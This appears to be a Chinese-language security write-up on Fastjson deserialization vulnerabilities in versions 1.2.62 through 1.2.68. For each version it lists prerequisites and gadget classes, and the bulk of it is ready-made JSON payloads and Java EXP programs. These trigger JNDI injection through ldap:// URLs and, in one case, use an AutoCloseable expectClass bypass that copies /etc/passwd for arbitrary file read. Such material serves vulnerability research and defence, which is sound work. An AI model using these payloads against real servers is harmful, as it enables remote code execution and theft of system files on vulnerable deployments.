Fastjson 1.2.62-1.2.68版本反序列化漏洞

0x01 1.2.62反序列化漏洞

前提条件

需要开启AutoType
Fastjson<=1.2.62
JNDI注入利用所受的JDK版本限制
目标服务端需要存在xben-reflect包;xbean-reflect包的版本不限
pom.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<dependencies>  
  
<dependency>    
 <groupId>com.alibaba</groupId>    
 <artifactId>fastjson</artifactId>    
 <version>1.2.62</version>    
</dependency>    
<dependency>    
 <groupId>org.apache.xbean</groupId>    
 <artifactId>xbean-reflect</artifactId>    
 <version>4.18</version>    
</dependency>    
<dependency>    
 <groupId>commons-collections</groupId>    
 <artifactId>commons-collections</artifactId>    
 <version>3.2.1</version>    
</dependency>  
</dependencies>  

漏洞原理与EXP

新Gadget绕过黑名单限制。
org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用。
这里可以到JndiConverter这个类里面,看到toObjectImpl()方法确实是存在JNDI漏洞的。
但是这个toObjectImpl()方法并不是getter/setter方法,也不是构造函数。
因为我们对JndiConverter这个类进行反序列化的时候,会自动调用它的构造函数,而它的构造函数里面调用了它的父类。所以我们反序列化的时候不仅能够调用JndiConverter这个类,还会去调用它的父类AbstractConverter
查找一下哪里调用了toObjectImpl()
正好在AbstractConverter类中的setter方法中调用了。
所以payload可以设置成这样

1
2
"{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverte\", \"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}  
"  

EXP如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.alibaba.fastjson.JSON;    
import com.alibaba.fastjson.parser.ParserConfig;    
import org.apache.xbean.propertyeditor.JndiConverter;    
    
public class EXP{    
    public static void main(String[] args) {  
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);    
 String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\","+"\"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}";    
 JSON.parse(poc);  
 }    
}  

调试分析

需要开启autoType,如果未开启autoType、未设置expectClass且类名不再内部黑名单中,是不能恶意家在字节码的。
直接在CheckAutoType()函数上打上断点开始分析,函数位置
com\alibaba\fastjson\parser\ParserConfig.java
相比于之前版本调试分析时看的CheckAutoType()函数,这里新增了一些代码逻辑,这里大致说下,下面代码是判断是否调用AutoType相关逻辑之前的代码,说明如注解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if (typeName == null) {  
          return null;  
      }  
   
// 限制了JSON中@type指定的类名长度  
      if (typeName.length() >= 192 || typeName.length() < 3) {  
          throw new JSONException("autoType is not support. " + typeName);  
      }  
   
// 单独对expectClass参数进行判断,设置expectClassFlag的值  
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true  
      final boolean expectClassFlag;  
      if (expectClass == null) {  
          expectClassFlag = false;  
      } else {  
          if (expectClass == Object.class  
                  || expectClass == Serializable.class  
                  || expectClass == Cloneable.class  
                  || expectClass == Closeable.class  
                  || expectClass == EventListener.class  
                  || expectClass == Iterable.class  
                  || expectClass == Collection.class  
                  ) {  
              expectClassFlag = false;  
          } else {  
              expectClassFlag = true;  
          }  
      }  
   
      String className = typeName.replace('$', '.');  
      Class<?> clazz = null;  
   
      final long BASIC = 0xcbf29ce484222325L;  
      final long PRIME = 0x100000001b3L;  
   
// 1.2.43检测,"["  
      final long h1 = (BASIC ^ className.charAt(0)) * PRIME;  
      if (h1 == 0xaf64164c86024f1aL) { // [  
          throw new JSONException("autoType is not support. " + typeName);  
      }  
   
// 1.2.41检测,"Lxx;"  
      if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {  
          throw new JSONException("autoType is not support. " + typeName);  
      }  
   
// 1.2.42检测,"LL"  
      final long h3 = (((((BASIC ^ className.charAt(0))  
              * PRIME)  
              ^ className.charAt(1))  
              * PRIME)  
              ^ className.charAt(2))  
              * PRIME;  
   
// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true  
      boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  
              TypeUtils.fnv1a_64(className)  
      ) >= 0;  

0x02 1.2.66反序列化漏洞

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

漏洞原理

新Gadget绕过黑名单限制
1.2.66涉及多条Gadget链,原理都是存在JNDI注入漏洞
org.apache.shiro.realm.jndi.JndiRealmFactorypoc
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
br.com.anteros.dbcp.AnterosDBCPConfig类poc

1
2
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}  
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}  

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类poc

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}  

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import com.alibaba.fastjson.JSON;    
import com.alibaba.fastjson.parser.ParserConfig;    
    
public class EXP_1266 {    
    public static void main(String[] args) {    
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);    
 String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";    
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";    
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";    
//        String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +    
//                "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";    
 JSON.parse(poc);    
 }    
}  

0x03 1.2.67反序列化漏洞(黑名单绕过)

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

漏洞原理

新Gadget绕过黑名单限制
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类Poc
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
org.apache.shiro.jndi.JndiObjectFactory类Poc

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}  

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import com.alibaba.fastjson.JSON;    
import com.alibaba.fastjson.parser.ParserConfig;    
import com.sun.xml.internal.ws.api.ha.StickyFeature;    
    
public class EXP_1267 {    
    public static void main(String[] args) {    
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);    
 String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +    
                " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";    
 JSON.parse(poc);    
 }    
}  

0x04 1.2.68反序列化漏洞(expectClass绕过AutoType)

前提条件

Fastjson<=1.2.68
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;

漏洞原理

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类来实现绕过checkAutoType()函数绕过恶意操作。
1、先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
2、查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

实际利用

复制文件(任意文件读取漏洞)

利用类org.eclipse.core.internal.localstore.SafeFileOutputStream

1
2
3
4
5
<dependency>    
 <groupId>org.aspectj</groupId>    
 <artifactId>aspectjtools</artifactId>    
 <version>1.9.5</version>    
</dependency>  

SafeFileOutputStream(java.lang.String,java.lang.String)构造函数判断了如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中,正是利用其构造函数的这个特点来实现Web场景下的任意文件读取

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
public class SafeFileOutputStream extends OutputStream {    
    protected File temp;    
    protected File target;    
    protected OutputStream output;    
    protected boolean failed;    
    protected static final String EXTENSION = ".bak";    
    
    public SafeFileOutputStream(File file) throws IOException {    
        this(file.getAbsolutePath(), (String)null);    
    }    
    
    public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {    
        this.failed = false;    
        this.target = new File(targetPath);    
        this.createTempFile(tempPath);    
        if (!this.target.exists()) {    
            if (!this.temp.exists()) {    
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));    
                return;    
            }    
    
            this.copy(this.temp, this.target);    
        }    
    
        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));    
    }    
    
    public void close() throws IOException {    
        try {    
            this.output.close();    
        } catch (IOException var2) {    
            IOException e = var2;    
            this.failed = true;    
            throw e;    
        }    
    
        if (this.failed) {    
            this.temp.delete();    
        } else {    
            this.commit();    
        }    
    
    }    
    
    protected void commit() throws IOException {    
        if (this.temp.exists()) {    
            this.target.delete();    
            this.copy(this.temp, this.target);    
            this.temp.delete();    
        }    
    }    
    
    protected void copy(File sourceFile, File destinationFile) throws IOException {    
        if (sourceFile.exists()) {    
            if (!sourceFile.renameTo(destinationFile)) {    
                InputStream source = null;    
                OutputStream destination = null;    
    
                try {    
                    source = new BufferedInputStream(new FileInputStream(sourceFile));    
                    destination = new BufferedOutputStream(new FileOutputStream(destinationFile));    
                    this.transferStreams(source, destination);    
                    destination.close();    
                } finally {    
                    FileUtil.safeClose(source);    
                    FileUtil.safeClose(destination);    
                }    
    
            }    
        }    
    }    
    
    protected void createTempFile(String tempPath) {    
        if (tempPath == null) {    
            tempPath = this.target.getAbsolutePath() + ".bak";    
        }    
    
        this.temp = new File(tempPath);    
    }    
    
    public void flush() throws IOException {    
        try {    
            this.output.flush();    
        } catch (IOException var2) {    
            IOException e = var2;    
            this.failed = true;    
            throw e;    
        }    
    }    
    
    public String getTempFilePath() {    
        return this.temp.getAbsolutePath();    
    }    
    
    protected void transferStreams(InputStream source, OutputStream destination) throws IOException {    
        byte[] buffer = new byte[8192];    
    
        while(true) {    
            int bytesRead = source.read(buffer);    
            if (bytesRead == -1) {    
                return;    
            }    
    
            destination.write(buffer, 0, bytesRead);    
        }    
    }    
    
    public void write(int b) throws IOException {    
        try {    
            this.output.write(b);    
        } catch (IOException var3) {    
            IOException e = var3;    
            this.failed = true;    
            throw e;    
        }    
    }    
}  

exp

1
{"@type":"java.lang.AutoCloseable","@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream","tempPath":"/etc/passwd","targetPath":"/tmp/flag"}  

0%